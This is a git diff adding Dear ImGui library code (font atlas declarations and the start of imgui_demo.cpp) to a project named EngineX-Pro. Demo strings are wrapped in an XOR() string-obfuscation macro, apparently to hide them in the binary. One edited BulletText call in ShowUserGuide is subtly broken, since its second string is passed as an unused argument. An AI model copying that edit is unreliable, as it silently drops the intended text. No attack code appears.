+ int OversampleH; // 3 // Rasterize at higher quality for sub-pixel positioning. Read https://github.com/nothings/stb/blob/master/tests/oversample/README.md for details. + int OversampleV; // 1 // Rasterize at higher quality for sub-pixel positioning. We don't use sub-pixel positions on the Y axis. + bool PixelSnapH; // false // Align every glyph to pixel boundary. Useful e.g. if you are merging a non-pixel aligned font with the default font. If enabled, you can set OversampleH/V to 1. + ImVec2 GlyphExtraSpacing; // 0, 0 // Extra spacing (in pixels) between glyphs. Only X axis is supported for now. + ImVec2 GlyphOffset; // 0, 0 // Offset all glyphs from this font input. + const ImWchar* GlyphRanges; // NULL // Pointer to a user-provided list of Unicode range (2 value per range, values are inclusive, zero-terminated list). THE ARRAY DATA NEEDS TO PERSIST AS LONG AS THE FONT IS ALIVE. + float GlyphMinAdvanceX; // 0 // Minimum AdvanceX for glyphs, set Min to align font icons, set both Min/Max to enforce mono-space font + float GlyphMaxAdvanceX; // FLT_MAX // Maximum AdvanceX for glyphs + bool MergeMode; // false // Merge into previous ImFont, so you can combine multiple inputs font into one ImFont (e.g. ASCII font + icons + Japanese glyphs). You may want to use GlyphOffset.y when merge font of different heights. + unsigned int RasterizerFlags; // 0x00 // Settings for custom font rasterizer (e.g. ImGuiFreeType). Leave as zero if you aren't using one. + float RasterizerMultiply; // 1.0f // Brighten (>1.0f) or darken (<1.0f) font output. Brightening small fonts may be a good workaround to make them more readable. + ImWchar EllipsisChar; // -1 // Explicitly specify unicode codepoint of ellipsis character. When fonts are being merged first specified ellipsis will be used. + + // [Internal] + char Name[40]; // Name (strictly to ease debugging) + ImFont* DstFont; + + IMGUI_API ImFontConfig(); +}; + +// Hold rendering data for one glyph. +// (Note: some language parsers may fail to convert the 31+1 bitfield members, in this case maybe drop store a single u32 or we can rework this) +struct ImFontGlyph +{ + unsigned int Codepoint : 31; // 0x0000..0xFFFF + unsigned int Visible : 1; // Flag to allow early out when rendering + float AdvanceX; // Distance to next character (= data from font + ImFontConfig::GlyphExtraSpacing.x baked in) + float X0, Y0, X1, Y1; // Glyph corners + float U0, V0, U1, V1; // Texture coordinates +}; + +// Helper to build glyph ranges from text/string data. Feed your application strings/characters to it then call BuildRanges(). +// This is essentially a tightly packed of vector of 64k booleans = 8KB storage. +struct ImFontGlyphRangesBuilder +{ + ImVector UsedChars; // Store 1-bit per Unicode code point (0=unused, 1=used) + + ImFontGlyphRangesBuilder() { Clear(); } + inline void Clear() { int size_in_bytes = (IM_UNICODE_CODEPOINT_MAX + 1) / 8; UsedChars.resize(size_in_bytes / (int)sizeof(ImU32)); memset(UsedChars.Data, 0, (size_t)size_in_bytes); } + inline bool GetBit(size_t n) const { int off = (int)(n >> 5); ImU32 mask = 1u << (n & 31); return (UsedChars[off] & mask) != 0; } // Get bit n in the array + inline void SetBit(size_t n) { int off = (int)(n >> 5); ImU32 mask = 1u << (n & 31); UsedChars[off] |= mask; } // Set bit n in the array + inline void AddChar(ImWchar c) { SetBit(c); } // Add character + IMGUI_API void AddText(const char* text, const char* text_end = NULL); // Add string (each character of the UTF-8 string are added) + IMGUI_API void AddRanges(const ImWchar* ranges); // Add ranges, e.g. builder.AddRanges(ImFontAtlas::GetGlyphRangesDefault()) to force add all of ASCII/Latin+Ext + IMGUI_API void BuildRanges(ImVector* out_ranges); // Output new ranges +}; + +// See ImFontAtlas::AddCustomRectXXX functions. +struct ImFontAtlasCustomRect +{ + unsigned short Width, Height; // Input // Desired rectangle dimension + unsigned short X, Y; // Output // Packed position in Atlas + unsigned int GlyphID; // Input // For custom font glyphs only (ID < 0x110000) + float GlyphAdvanceX; // Input // For custom font glyphs only: glyph xadvance + ImVec2 GlyphOffset; // Input // For custom font glyphs only: glyph display offset + ImFont* Font; // Input // For custom font glyphs only: target font + ImFontAtlasCustomRect() { Width = Height = 0; X = Y = 0xFFFF; GlyphID = 0; GlyphAdvanceX = 0.0f; GlyphOffset = ImVec2(0, 0); Font = NULL; } + bool IsPacked() const { return X != 0xFFFF; } +}; + +// Flags for ImFontAtlas build +enum ImFontAtlasFlags_ +{ + ImFontAtlasFlags_None = 0, + ImFontAtlasFlags_NoPowerOfTwoHeight = 1 << 0, // Don't round the height to next power of two + ImFontAtlasFlags_NoMouseCursors = 1 << 1, // Don't build software mouse cursors into the atlas (save a little texture memory) + ImFontAtlasFlags_NoBakedLines = 1 << 2 // Don't build thick line textures into the atlas (save a little texture memory). The AntiAliasedLinesUseTex features uses them, otherwise they will be rendered using polygons (more expensive for CPU/GPU). +}; + +// Load and rasterize multiple TTF/OTF fonts into a same texture. The font atlas will build a single texture holding: +// - One or more fonts. +// - Custom graphics data needed to render the shapes needed by Dear ImGui. +// - Mouse cursor shapes for software cursor rendering (unless setting 'Flags |= ImFontAtlasFlags_NoMouseCursors' in the font atlas). +// It is the user-code responsibility to setup/build the atlas, then upload the pixel data into a texture accessible by your graphics api. +// - Optionally, call any of the AddFont*** functions. If you don't call any, the default font embedded in the code will be loaded for you. +// - Call GetTexDataAsAlpha8() or GetTexDataAsRGBA32() to build and retrieve pixels data. +// - Upload the pixels data into a texture within your graphics system (see imgui_impl_xxxx.cpp examples) +// - Call SetTexID(my_tex_id); and pass the pointer/identifier to your texture in a format natural to your graphics API. +// This value will be passed back to you during rendering to identify the texture. Read FAQ entry about ImTextureID for more details. +// Common pitfalls: +// - If you pass a 'glyph_ranges' array to AddFont*** functions, you need to make sure that your array persist up until the +// atlas is build (when calling GetTexData*** or Build()). We only copy the pointer, not the data. +// - Important: By default, AddFontFromMemoryTTF() takes ownership of the data. Even though we are not writing to it, we will free the pointer on destruction. +// You can set font_cfg->FontDataOwnedByAtlas=false to keep ownership of your data and it won't be freed, +// - Even though many functions are suffixed with "TTF", OTF data is supported just as well. +// - This is an old API and it is currently awkward for those and and various other reasons! We will address them in the future! +struct ImFontAtlas +{ + IMGUI_API ImFontAtlas(); + IMGUI_API ~ImFontAtlas(); + IMGUI_API ImFont* AddFont(const ImFontConfig* font_cfg); + IMGUI_API ImFont* AddFontDefault(const ImFontConfig* font_cfg = NULL); + IMGUI_API ImFont* AddFontFromFileTTF(const char* filename, float size_pixels, const ImFontConfig* font_cfg = NULL, const ImWchar* glyph_ranges = NULL); + IMGUI_API ImFont* AddFontFromMemoryTTF(void* font_data, int font_size, float size_pixels, const ImFontConfig* font_cfg = NULL, const ImWchar* glyph_ranges = NULL); // Note: Transfer ownership of 'ttf_data' to ImFontAtlas! Will be deleted after destruction of the atlas. Set font_cfg->FontDataOwnedByAtlas=false to keep ownership of your data and it won't be freed. + IMGUI_API ImFont* AddFontFromMemoryCompressedTTF(const void* compressed_font_data, int compressed_font_size, float size_pixels, const ImFontConfig* font_cfg = NULL, const ImWchar* glyph_ranges = NULL); // 'compressed_font_data' still owned by caller. Compress with binary_to_compressed_c.cpp. + IMGUI_API ImFont* AddFontFromMemoryCompressedBase85TTF(const char* compressed_font_data_base85, float size_pixels, const ImFontConfig* font_cfg = NULL, const ImWchar* glyph_ranges = NULL); // 'compressed_font_data_base85' still owned by caller. Compress with binary_to_compressed_c.cpp with -base85 parameter. + IMGUI_API void ClearInputData(); // Clear input data (all ImFontConfig structures including sizes, TTF data, glyph ranges, etc.) = all the data used to build the texture and fonts. + IMGUI_API void ClearTexData(); // Clear output texture data (CPU side). Saves RAM once the texture has been copied to graphics memory. + IMGUI_API void ClearFonts(); // Clear output font data (glyphs storage, UV coordinates). + IMGUI_API void Clear(); // Clear all input and output. + + // Build atlas, retrieve pixel data. + // User is in charge of copying the pixels into graphics memory (e.g. create a texture with your engine). Then store your texture handle with SetTexID(). + // The pitch is always = Width * BytesPerPixels (1 or 4) + // Building in RGBA32 format is provided for convenience and compatibility, but note that unless you manually manipulate or copy color data into + // the texture (e.g. when using the AddCustomRect*** api), then the RGB pixels emitted will always be white (~75% of memory/bandwidth waste. + IMGUI_API bool Build(); // Build pixels data. This is called automatically for you by the GetTexData*** functions. + IMGUI_API void GetTexDataAsAlpha8(unsigned char** out_pixels, int* out_width, int* out_height, int* out_bytes_per_pixel = NULL); // 1 byte per-pixel + IMGUI_API void GetTexDataAsRGBA32(unsigned char** out_pixels, int* out_width, int* out_height, int* out_bytes_per_pixel = NULL); // 4 bytes-per-pixel + bool IsBuilt() const { return Fonts.Size > 0 && (TexPixelsAlpha8 != NULL || TexPixelsRGBA32 != NULL); } + void SetTexID(ImTextureID id) { TexID = id; } + + //------------------------------------------- + // Glyph Ranges + //------------------------------------------- + + // Helpers to retrieve list of common Unicode ranges (2 value per range, values are inclusive, zero-terminated list) + // NB: Make sure that your string are UTF-8 and NOT in your local code page. In C++11, you can create UTF-8 string literal using the u8"Hello world" syntax. See FAQ for details. + // NB: Consider using ImFontGlyphRangesBuilder to build glyph ranges from textual data. + IMGUI_API const ImWchar* GetGlyphRangesDefault(); // Basic Latin, Extended Latin + IMGUI_API const ImWchar* GetGlyphRangesKorean(); // Default + Korean characters + IMGUI_API const ImWchar* GetGlyphRangesJapanese(); // Default + Hiragana, Katakana, Half-Width, Selection of 2999 Ideographs + IMGUI_API const ImWchar* GetGlyphRangesChineseFull(); // Default + Half-Width + Japanese Hiragana/Katakana + full set of about 21000 CJK Unified Ideographs + IMGUI_API const ImWchar* GetGlyphRangesChineseSimplifiedCommon();// Default + Half-Width + Japanese Hiragana/Katakana + set of 2500 CJK Unified Ideographs for common simplified Chinese + IMGUI_API const ImWchar* GetGlyphRangesCyrillic(); // Default + about 400 Cyrillic characters + IMGUI_API const ImWchar* GetGlyphRangesThai(); // Default + Thai characters + IMGUI_API const ImWchar* GetGlyphRangesVietnamese(); // Default + Vietnamese characters + + //------------------------------------------- + // [BETA] Custom Rectangles/Glyphs API + //------------------------------------------- + + // You can request arbitrary rectangles to be packed into the atlas, for your own purposes. + // After calling Build(), you can query the rectangle position and render your pixels. + // You can also request your rectangles to be mapped as font glyph (given a font + Unicode point), + // so you can render e.g. custom colorful icons and use them as regular glyphs. + // Read docs/FONTS.md for more details about using colorful icons. + // Note: this API may be redesigned later in order to support multi-monitor varying DPI settings. + IMGUI_API int AddCustomRectRegular(int width, int height); + IMGUI_API int AddCustomRectFontGlyph(ImFont* font, ImWchar id, int width, int height, float advance_x, const ImVec2& offset = ImVec2(0, 0)); + ImFontAtlasCustomRect* GetCustomRectByIndex(int index) { IM_ASSERT(index >= 0); return &CustomRects[index]; } + + // [Internal] + IMGUI_API void CalcCustomRectUV(const ImFontAtlasCustomRect* rect, ImVec2* out_uv_min, ImVec2* out_uv_max) const; + IMGUI_API bool GetMouseCursorTexData(ImGuiMouseCursor cursor, ImVec2* out_offset, ImVec2* out_size, ImVec2 out_uv_border[2], ImVec2 out_uv_fill[2]); + + //------------------------------------------- + // Members + //------------------------------------------- + + bool Locked; // Marked as Locked by ImGui::NewFrame() so attempt to modify the atlas will assert. + ImFontAtlasFlags Flags; // Build flags (see ImFontAtlasFlags_) + ImTextureID TexID; // User data to refer to the texture once it has been uploaded to user's graphic systems. It is passed back to you during rendering via the ImDrawCmd structure. + int TexDesiredWidth; // Texture width desired by user before Build(). Must be a power-of-two. If have many glyphs your graphics API have texture size restrictions you may want to increase texture width to decrease height. + int TexGlyphPadding; // Padding between glyphs within texture in pixels. Defaults to 1. If your rendering method doesn't rely on bilinear filtering you may set this to 0. + + // [Internal] + // NB: Access texture data via GetTexData*() calls! Which will setup a default font for you. + unsigned char* TexPixelsAlpha8; // 1 component per pixel, each component is unsigned 8-bit. Total size = TexWidth * TexHeight + unsigned int* TexPixelsRGBA32; // 4 component per pixel, each component is unsigned 8-bit. Total size = TexWidth * TexHeight * 4 + int TexWidth; // Texture width calculated during Build(). + int TexHeight; // Texture height calculated during Build(). + ImVec2 TexUvScale; // = (1.0f/TexWidth, 1.0f/TexHeight) + ImVec2 TexUvWhitePixel; // Texture coordinates to a white pixel + ImVector Fonts; // Hold all the fonts returned by AddFont*. Fonts[0] is the default font upon calling ImGui::NewFrame(), use ImGui::PushFont()/PopFont() to change the current font. + ImVector CustomRects; // Rectangles for packing custom texture data into the atlas. + ImVector ConfigData; // Configuration data + ImVec4 TexUvLines[IM_DRAWLIST_TEX_LINES_WIDTH_MAX + 1]; // UVs for baked anti-aliased lines + + // [Internal] Packing data + int PackIdMouseCursors; // Custom texture rectangle ID for white pixel and mouse cursors + int PackIdLines; // Custom texture rectangle ID for baked anti-aliased lines + +#ifndef IMGUI_DISABLE_OBSOLETE_FUNCTIONS + typedef ImFontAtlasCustomRect CustomRect; // OBSOLETED in 1.72+ + typedef ImFontGlyphRangesBuilder GlyphRangesBuilder; // OBSOLETED in 1.67+ +#endif +}; + +// Font runtime data and rendering +// ImFontAtlas automatically loads a default embedded font for you when you call GetTexDataAsAlpha8() or GetTexDataAsRGBA32(). +struct ImFont +{ + // Members: Hot ~20/24 bytes (for CalcTextSize) + ImVector IndexAdvanceX; // 12-16 // out // // Sparse. Glyphs->AdvanceX in a directly indexable way (cache-friendly for CalcTextSize functions which only this this info, and are often bottleneck in large UI). + float FallbackAdvanceX; // 4 // out // = FallbackGlyph->AdvanceX + float FontSize; // 4 // in // // Height of characters/line, set during loading (don't change after loading) + + // Members: Hot ~28/40 bytes (for CalcTextSize + render loop) + ImVector IndexLookup; // 12-16 // out // // Sparse. Index glyphs by Unicode code-point. + ImVector Glyphs; // 12-16 // out // // All glyphs. + const ImFontGlyph* FallbackGlyph; // 4-8 // out // = FindGlyph(FontFallbackChar) + + // Members: Cold ~32/40 bytes + ImFontAtlas* ContainerAtlas; // 4-8 // out // // What we has been loaded into + const ImFontConfig* ConfigData; // 4-8 // in // // Pointer within ContainerAtlas->ConfigData + short ConfigDataCount; // 2 // in // ~ 1 // Number of ImFontConfig involved in creating this font. Bigger than 1 when merging multiple font sources into one ImFont. + ImWchar FallbackChar; // 2 // in // = '?' // Replacement character if a glyph isn't found. Only set via SetFallbackChar() + ImWchar EllipsisChar; // 2 // out // = -1 // Character used for ellipsis rendering. + bool DirtyLookupTables; // 1 // out // + float Scale; // 4 // in // = 1.f // Base font scale, multiplied by the per-window font scale which you can adjust with SetWindowFontScale() + float Ascent, Descent; // 4+4 // out // // Ascent: distance from top to bottom of e.g. 'A' [0..FontSize] + int MetricsTotalSurface;// 4 // out // // Total surface in pixels to get an idea of the font rasterization/texture cost (not exact, we approximate the cost of padding between glyphs) + ImU8 Used4kPagesMap[(IM_UNICODE_CODEPOINT_MAX+1)/4096/8]; // 2 bytes if ImWchar=ImWchar16, 34 bytes if ImWchar==ImWchar32. Store 1-bit for each block of 4K codepoints that has one active glyph. This is mainly used to facilitate iterations across all used codepoints. + + // Methods + IMGUI_API ImFont(); + IMGUI_API ~ImFont(); + IMGUI_API const ImFontGlyph*FindGlyph(ImWchar c) const; + IMGUI_API const ImFontGlyph*FindGlyphNoFallback(ImWchar c) const; + float GetCharAdvance(ImWchar c) const { return ((int)c < IndexAdvanceX.Size) ? IndexAdvanceX[(int)c] : FallbackAdvanceX; } + bool IsLoaded() const { return ContainerAtlas != NULL; } + const char* GetDebugName() const { return ConfigData ? ConfigData->Name : ""; } + + // 'max_width' stops rendering after a certain width (could be turned into a 2d size). FLT_MAX to disable. + // 'wrap_width' enable automatic word-wrapping across multiple lines to fit into given width. 0.0f to disable. + IMGUI_API ImVec2 CalcTextSizeA(float size, float max_width, float wrap_width, const char* text_begin, const char* text_end = NULL, const char** remaining = NULL) const; // utf8 + IMGUI_API const char* CalcWordWrapPositionA(float scale, const char* text, const char* text_end, float wrap_width) const; + IMGUI_API void RenderChar(ImDrawList* draw_list, float size, ImVec2 pos, ImU32 col, ImWchar c) const; + IMGUI_API void RenderText(ImDrawList* draw_list, float size, ImVec2 pos, ImU32 col, const ImVec4& clip_rect, const char* text_begin, const char* text_end, float wrap_width = 0.0f, bool cpu_fine_clip = false) const; + + // [Internal] Don't use! + IMGUI_API void BuildLookupTable(); + IMGUI_API void ClearOutputData(); + IMGUI_API void GrowIndex(int new_size); + IMGUI_API void AddGlyph(const ImFontConfig* src_cfg, ImWchar c, float x0, float y0, float x1, float y1, float u0, float v0, float u1, float v1, float advance_x); + IMGUI_API void AddRemapChar(ImWchar dst, ImWchar src, bool overwrite_dst = true); // Makes 'dst' character/glyph points to 'src' character/glyph. Currently needs to be called AFTER fonts have been built. + IMGUI_API void SetGlyphVisible(ImWchar c, bool visible); + IMGUI_API void SetFallbackChar(ImWchar c); + IMGUI_API bool IsGlyphRangeUnused(unsigned int c_begin, unsigned int c_last); +}; + +#if defined(__clang__) +#pragma clang diagnostic pop +#elif defined(__GNUC__) +#pragma GCC diagnostic pop +#endif + +// Include imgui_user.h at the end of imgui.h (convenient for user to only explicitly include vanilla imgui.h) +#ifdef IMGUI_INCLUDE_IMGUI_USER_H +#include "imgui_user.h" +#endif + +#endif // #ifndef IMGUI_DISABLE diff --git a/EngineX-Pro/ImGui/imgui_demo.cpp b/EngineX-Pro/ImGui/imgui_demo.cpp new file mode 100644 index 0000000..7747168 --- /dev/null +++ b/EngineX-Pro/ImGui/imgui_demo.cpp @@ -0,0 +1,7408 @@ +// dear imgui, v1.80 WIP +// (demo code) + + +#include "..//xorstr.hpp" +// Help: +// - Read FAQ at http://dearimgui.org/faq +// - Newcomers, read 'Programmer guide' in imgui.cpp for notes on how to setup Dear ImGui in your codebase. +// - Call and read ImGui::ShowDemoWindow() in imgui_demo.cpp. All applications in examples/ are doing that. +// Read imgui.cpp for more details, documentation and comments. +// Get latest version at https://github.com/ocornut/imgui + +// Message to the person tempted to delete this file when integrating Dear ImGui into their code base: +// Do NOT remove this file from your project! Think again! It is the most useful reference code that you and other +// coders will want to refer to and call. Have the ImGui::ShowDemoWindow() function wired in an always-available +// debug menu of your game/app! Removing this file from your project is hindering access to documentation for everyone +// in your team, likely leading you to poorer usage of the library. +// Everything in this file will be stripped out by the linker if you don't call ImGui::ShowDemoWindow(). +// If you want to link core Dear ImGui in your shipped builds but want a thorough guarantee that the demo will not be +// linked, you can setup your imconfig.h with #define IMGUI_DISABLE_DEMO_WINDOWS and those functions will be empty. +// In other situation, whenever you have Dear ImGui available you probably want this to be available for reference. +// Thank you, +// -Your beloved friend, imgui_demo.cpp (which you won't delete) + +// Message to beginner C/C++ programmers about the meaning of the 'static' keyword: +// In this demo code, we frequently we use 'static' variables inside functions. A static variable persist across calls, +// so it is essentially like a global variable but declared inside the scope of the function. We do this as a way to +// gather code and data in the same place, to make the demo source code faster to read, faster to write, and smaller +// in size. It also happens to be a convenient way of storing simple UI related information as long as your function +// doesn't need to be reentrant or used in multiple threads. This might be a pattern you will want to use in your code, +// but most of the real data you would be editing is likely going to be stored outside your functions. + +// The Demo code in this file is designed to be easy to copy-and-paste in into your application! +// Because of this: +// - We never omit the ImGui:: prefix when calling functions, even though most code here is in the same namespace. +// - We try to declare static variables in the local scope, as close as possible to the code using them. +// - We never use any of the helpers/facilities used internally by Dear ImGui, unless available in the public API. +// - We never use maths operators on ImVec2/ImVec4. For our other sources files we use them, and they are provided +// by imgui_internal.h using the IMGUI_DEFINE_MATH_OPERATORS define. For your own sources file they are optional +// and require you either enable those, either provide your own via IM_VEC2_CLASS_EXTRA in imconfig.h. +// Because we can't assume anything about your support of maths operators, we cannot use them in imgui_demo.cpp. + +// Navigating this file: +// - In Visual Studio IDE: CTRL+comma ("Edit.NavigateTo") can follow symbols in comments, whereas CTRL+F12 ("Edit.GoToImplementation") cannot. +// - With Visual Assist installed: ALT+G ("VAssistX.GoToImplementation") can also follow symbols in comments. + +/* + +Index of this file: + +// [SECTION] Forward Declarations, Helpers +// [SECTION] Demo Window / ShowDemoWindow() +// - sub section: ShowDemoWindowWidgets() +// - sub section: ShowDemoWindowLayout() +// - sub section: ShowDemoWindowPopups() +// - sub section: ShowDemoWindowTables() +// - sub section: ShowDemoWindowMisc() +// [SECTION] About Window / ShowAboutWindow() +// [SECTION] Style Editor / ShowStyleEditor() +// [SECTION] Example App: Main Menu Bar / ShowExampleAppMainMenuBar() +// [SECTION] Example App: Debug Console / ShowExampleAppConsole() +// [SECTION] Example App: Debug Log / ShowExampleAppLog() +// [SECTION] Example App: Simple Layout / ShowExampleAppLayout() +// [SECTION] Example App: Property Editor / ShowExampleAppPropertyEditor() +// [SECTION] Example App: Long Text / ShowExampleAppLongText() +// [SECTION] Example App: Auto Resize / ShowExampleAppAutoResize() +// [SECTION] Example App: Constrained Resize / ShowExampleAppConstrainedResize() +// [SECTION] Example App: Simple Overlay / ShowExampleAppSimpleOverlay() +// [SECTION] Example App: Manipulating Window Titles / ShowExampleAppWindowTitles() +// [SECTION] Example App: Custom Rendering using ImDrawList API / ShowExampleAppCustomRendering() +// [SECTION] Example App: Documents Handling / ShowExampleAppDocuments() + +*/ + +#if defined(_MSC_VER) && !defined(_CRT_SECURE_NO_WARNINGS) +#define _CRT_SECURE_NO_WARNINGS +#endif + +#include "imgui.h" +#ifndef IMGUI_DISABLE + +// System includes +#include // toupper +#include // INT_MIN, INT_MAX +#include // sqrtf, powf, cosf, sinf, floorf, ceilf +#include // vsnprintf, sscanf, printf +#include // NULL, malloc, free, atoi +#if defined(_MSC_VER) && _MSC_VER <= 1500 // MSVC 2008 or earlier +#include // intptr_t +#else +#include // intptr_t +#endif + +// Visual Studio warnings +#ifdef _MSC_VER +#pragma warning (disable: 4996) // 'This function or variable may be unsafe': strcpy, strdup, sprintf, vsnprintf, sscanf, fopen +#endif + +// Clang/GCC warnings with -Weverything +#if defined(__clang__) +#if __has_warning("-Wunknown-warning-option") +#pragma clang diagnostic ignored "-Wunknown-warning-option" // warning: unknown warning group 'xxx' // not all warnings are known by all Clang versions and they tend to be rename-happy.. so ignoring warnings triggers new warnings on some configuration. Great! +#endif +#pragma clang diagnostic ignored "-Wunknown-pragmas" // warning: unknown warning group 'xxx' +#pragma clang diagnostic ignored "-Wold-style-cast" // warning: use of old-style cast // yes, they are more terse. +#pragma clang diagnostic ignored "-Wdeprecated-declarations" // warning: 'xx' is deprecated: The POSIX name for this.. // for strdup used in demo code (so user can copy & paste the code) +#pragma clang diagnostic ignored "-Wint-to-void-pointer-cast" // warning: cast to 'void *' from smaller integer type +#pragma clang diagnostic ignored "-Wformat-security" // warning: format string is not a string literal +#pragma clang diagnostic ignored "-Wexit-time-destructors" // warning: declaration requires an exit-time destructor // exit-time destruction order is undefined. if MemFree() leads to users code that has been disabled before exit it might cause problems. ImGui coding style welcomes static/globals. +#pragma clang diagnostic ignored "-Wunused-macros" // warning: macro is not used // we define snprintf/vsnprintf on Windows so they are available, but not always used. +#pragma clang diagnostic ignored "-Wzero-as-null-pointer-constant" // warning: zero as null pointer constant // some standard header variations use #define NULL 0 +#pragma clang diagnostic ignored "-Wdouble-promotion" // warning: implicit conversion from 'float' to 'double' when passing argument to function // using printf() is a misery with this as C++ va_arg ellipsis changes float to double. +#pragma clang diagnostic ignored "-Wreserved-id-macro" // warning: macro name is a reserved identifier +#pragma clang diagnostic ignored "-Wimplicit-int-float-conversion" // warning: implicit conversion from 'xxx' to 'float' may lose precision +#elif defined(__GNUC__) +#pragma GCC diagnostic ignored "-Wpragmas" // warning: unknown option after '#pragma GCC diagnostic' kind +#pragma GCC diagnostic ignored "-Wint-to-pointer-cast" // warning: cast to pointer from integer of different size +#pragma GCC diagnostic ignored "-Wformat-security" // warning: format string is not a string literal (potentially insecure) +#pragma GCC diagnostic ignored "-Wdouble-promotion" // warning: implicit conversion from 'float' to 'double' when passing argument to function +#pragma GCC diagnostic ignored "-Wconversion" // warning: conversion to 'xxxx' from 'xxxx' may alter its value +#pragma GCC diagnostic ignored "-Wmisleading-indentation" // [__GNUC__ >= 6] warning: this 'if' clause does not guard this statement // GCC 6.0+ only. See #883 on GitHub. +#endif + +// Play it nice with Windows users (Update: May 2018, Notepad now supports Unix-style carriage returns!) +#ifdef _WIN32 +#define IM_NEWLINE "\r\n" +#else +#define IM_NEWLINE "\n" +#endif + +// Helpers +#if defined(_MSC_VER) && !defined(snprintf) +#define snprintf _snprintf +#endif +#if defined(_MSC_VER) && !defined(vsnprintf) +#define vsnprintf _vsnprintf +#endif + +// Helpers macros +// We normally try to not use many helpers in imgui_demo.cpp in order to make code easier to copy and paste, +// but making an exception here as those are largely simplifying code... +// In other imgui sources we can use nicer internal functions from imgui_internal.h (ImMin/ImMax) but not in the demo. +#define IM_MIN(A, B) (((A) < (B)) ? (A) : (B)) +#define IM_MAX(A, B) (((A) >= (B)) ? (A) : (B)) +#define IM_CLAMP(V, MN, MX) ((V) < (MN) ? (MN) : (V) > (MX) ? (MX) : (V)) + +// Enforce cdecl calling convention for functions called by the standard library, in case compilation settings changed the default to e.g. __vectorcall +#ifndef IMGUI_CDECL +#ifdef _MSC_VER +#define IMGUI_CDECL __cdecl +#else +#define IMGUI_CDECL +#endif +#endif + +//----------------------------------------------------------------------------- +// [SECTION] Forward Declarations, Helpers +//----------------------------------------------------------------------------- + +#if !defined(IMGUI_DISABLE_DEMO_WINDOWS) + +// Forward Declarations +static void ShowExampleAppDocuments(bool* p_open); +static void ShowExampleAppMainMenuBar(); +static void ShowExampleAppConsole(bool* p_open); +static void ShowExampleAppLog(bool* p_open); +static void ShowExampleAppLayout(bool* p_open); +static void ShowExampleAppPropertyEditor(bool* p_open); +static void ShowExampleAppLongText(bool* p_open); +static void ShowExampleAppAutoResize(bool* p_open); +static void ShowExampleAppConstrainedResize(bool* p_open); +static void ShowExampleAppSimpleOverlay(bool* p_open); +static void ShowExampleAppWindowTitles(bool* p_open); +static void ShowExampleAppCustomRendering(bool* p_open); +static void ShowExampleMenuFile(); + +// Helper to display a little (?) mark which shows a tooltip when hovered. +// In your own code you may want to display an actual icon if you are using a merged icon fonts (see docs/FONTS.md) +static void HelpMarker(const char* desc) +{ + ImGui::TextDisabled("(?)"); + if (ImGui::IsItemHovered()) + { + ImGui::BeginTooltip(); + ImGui::PushTextWrapPos(ImGui::GetFontSize() * 35.0f); + ImGui::TextUnformatted(desc); + ImGui::PopTextWrapPos(); + ImGui::EndTooltip(); + } +} + +// Helper to display basic user controls. +void ImGui::ShowUserGuide() +{ + ImGuiIO& io = ImGui::GetIO(); + ImGui::BulletText(XOR("Double-click on title bar to collapse window.")); + ImGui::BulletText(XOR( + "Click and drag on lower corner to resize window\n"), + XOR("(double-click to auto fit window to its contents).")); + ImGui::BulletText(XOR("CTRL+Click on a slider or drag box to input value as text.")); + ImGui::BulletText(XOR("TAB/SHIFT+TAB to cycle through keyboard editable fields.")); + if (io.FontAllowUserScaling) + ImGui::BulletText(XOR("CTRL+Mouse Wheel to zoom window contents.")); + ImGui::BulletText(XOR("While inputing text:\n")); + ImGui::Indent(); + ImGui::BulletText(XOR("CTRL+Left/Right to word jump.")); + ImGui::BulletText(XOR("CTRL+A or double-click to select all.")); + ImGui::BulletText(XOR("CTRL+X/C/V to use clipboard cut/copy/paste.")); + ImGui::BulletText(XOR("CTRL+Z,CTRL+Y to undo/redo.")); + ImGui::BulletText(XOR("ESCAPE to revert.")); + ImGui::BulletText(XOR("You can apply arithmetic operators +,*,/ on numerical values.\nUse +- to subtract.")); + ImGui::Unindent(); + ImGui::BulletText(XOR("With keyboard navigation enabled:")); + ImGui::Indent(); + ImGui::BulletText(XOR("Arrow keys to navigate.")); + ImGui::BulletText(XOR("Space to activate a widget.")); + ImGui::BulletText(XOR("Return to input text into a widget.")); + ImGui::BulletText(XOR("Escape to deactivate a widget, close popup, exit child window.")); + ImGui::BulletText(XOR("Alt to jump to the menu layer of a window.")); + ImGui::BulletText(XOR("CTRL+Tab to select a window.")); + ImGui::Unindent(); +} + +//----------------------------------------------------------------------------- +// [SECTION] Demo Window / ShowDemoWindow() +//----------------------------------------------------------------------------- +// - ShowDemoWindowWidgets() +// - ShowDemoWindowLayout() +// - ShowDemoWindowPopups() +// - ShowDemoWindowTables() +// - ShowDemoWindowColumns() +// - ShowDemoWindowMisc() +//----------------------------------------------------------------------------- + +// We split the contents of the big ShowDemoWindow() function into smaller functions +// (because the link time of very large functions grow non-linearly) +static void ShowDemoWindowWidgets(); +static void ShowDemoWindowLayout(); +static void ShowDemoWindowPopups(); +static void ShowDemoWindowTables(); +static void ShowDemoWindowColumns(); +static void ShowDemoWindowMisc(); + +// Demonstrate most Dear ImGui features (this is big function!) +// You may execute this function to experiment with the UI and understand what it does. +// You may then search for keywords in the code when you are interested by a specific feature. +void ImGui::ShowDemoWindow(bool* p_open) +{ + // Exceptionally add an extra assert here for people confused about initial Dear ImGui setup + // Most ImGui functions would normally just crash if the context is missing. + IM_ASSERT(ImGui::GetCurrentContext() != NULL && XOR("Missing dear imgui context. Refer to examples app!")); + + // Examples Apps (accessible from the "Examples" menu) + static bool show_app_main_menu_bar = false; + static bool show_app_documents = false; + static bool show_app_console = false; + static bool show_app_log = false; + static bool show_app_layout = false; + static bool show_app_property_editor = false; + static bool show_app_long_text = false; + static bool show_app_auto_resize = false; + static bool show_app_constrained_resize = false; + static bool show_app_simple_overlay = false; + static bool show_app_window_titles = false; + static bool show_app_custom_rendering = false; + + if (show_app_main_menu_bar) ShowExampleAppMainMenuBar(); + if (show_app_documents) ShowExampleAppDocuments(&show_app_documents); + + if (show_app_console) ShowExampleAppConsole(&show_app_console); + if (show_app_log) ShowExampleAppLog(&show_app_log); + if (show_app_layout) ShowExampleAppLayout(&show_app_layout); + if (show_app_property_editor) ShowExampleAppPropertyEditor(&show_app_property_editor); + if (show_app_long_text) ShowExampleAppLongText(&show_app_long_text); + if (show_app_auto_resize) ShowExampleAppAutoResize(&show_app_auto_resize); + if (show_app_constrained_resize) ShowExampleAppConstrainedResize(&show_app_constrained_resize); + if (show_app_simple_overlay) ShowExampleAppSimpleOverlay(&show_app_simple_overlay); + if (show_app_window_titles) ShowExampleAppWindowTitles(&show_app_window_titles); + if (show_app_custom_rendering) 